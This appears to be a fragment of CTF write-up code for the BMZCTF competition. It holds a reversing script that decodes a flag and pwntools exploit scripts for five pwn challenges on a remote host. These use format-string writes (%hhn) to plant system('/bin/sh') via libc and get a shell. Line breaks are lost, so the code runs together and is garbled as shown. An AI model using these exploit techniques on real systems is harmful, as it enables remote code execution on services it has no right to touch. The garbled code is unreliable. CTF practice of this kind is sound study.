flag=[5070369,5070379,5070398,5070368,5070420,5070365,5070346,5070389,5070364,5070387,5070337,5070392,5070349,5070370,5070386,5070370,5070391,5070380,5070444,5070392,5070446,5070380,5070392,5070364,5070376,5070447,5070446,5070426] defen(a): a^=0x1A2B3C a%=0x1A2B0C a^=0x4D5E6F return a key={} for i in range(128): key[en(i)]=i for i in flag: print(chr(key[i]),end='') # flag{BMZCTF_ReUeXs3_1s_Co01}
REMOTE=True if REMOTE: context(os='linux', log_level='info') p = remote("47.242.59.61",10000) else: context(os='linux',log_level='info') p = process('./pwn1') p.recvuntil(" Wealcome to BMZCTF \n")
REMOTE=True if REMOTE: context(os='linux', log_level='info') p = remote("47.242.59.61",10001) else: context(os='linux',log_level='info') p = process('./pwn2') p.recvuntil("Who are you?")
REMOTE=True if REMOTE: context(os='linux', log_level='debug') p = remote("47.242.59.61",10002) else: context(os='linux',log_level='info') p = process('./pwn3')
defsmsg(payload): p.sendlineafter('>','smsg') # 移动buf指针 for _ in range(80): p.sendlineafter('->','') p.sendlineafter('Send?(Y/N)','N') p.sendlineafter('->',b' '*7+payload) p.sendlineafter('Send?(Y/N)','Y')
REMOTE=True if REMOTE: context(os='linux', log_level='debug') p = remote("47.242.59.61",10003) else: context(os='linux',log_level='info') p = process('./pwn4')
defset(addr,value): for i in range(len(value)): j=value[i] if j==0: send(padding('%7$hhn',8),addr+i) else: send(padding('%'+str(j)+'c%8$hhn',16),addr+i)
from pwn import * from LibcSearcher import * import re
from pwnlib.replacements import sleep
REMOTE=True if REMOTE: context(os='linux', log_level='debug') p = remote("47.242.59.61",10004) else: context(os='linux',log_level='debug') p = process('./pwn5')
defset(addr,value): for i in range(len(value)): p.sendlineafter('>>','2') if REMOTE: sleep(0.5) if value[i]==0: p.sendline(flat(padding('%7$n%10$hhn',16),addr+i,word_size=64)) else: p.sendline(flat(padding('%7$n%'+str(value[i])+'c%11$hhn',24),addr+i,word_size=64)) # 布局栈 set(heap_addr+8*7,flat(ret_addr,libc.dumpb('str_bin_sh'),libc.dumpb('system'),word_size=64)) # 跳转 p.sendlineafter('>>','2') p.sendline(flat(padding('%'+str(0xaa)+'c%10$hhn',16),heap_addr,word_size=64))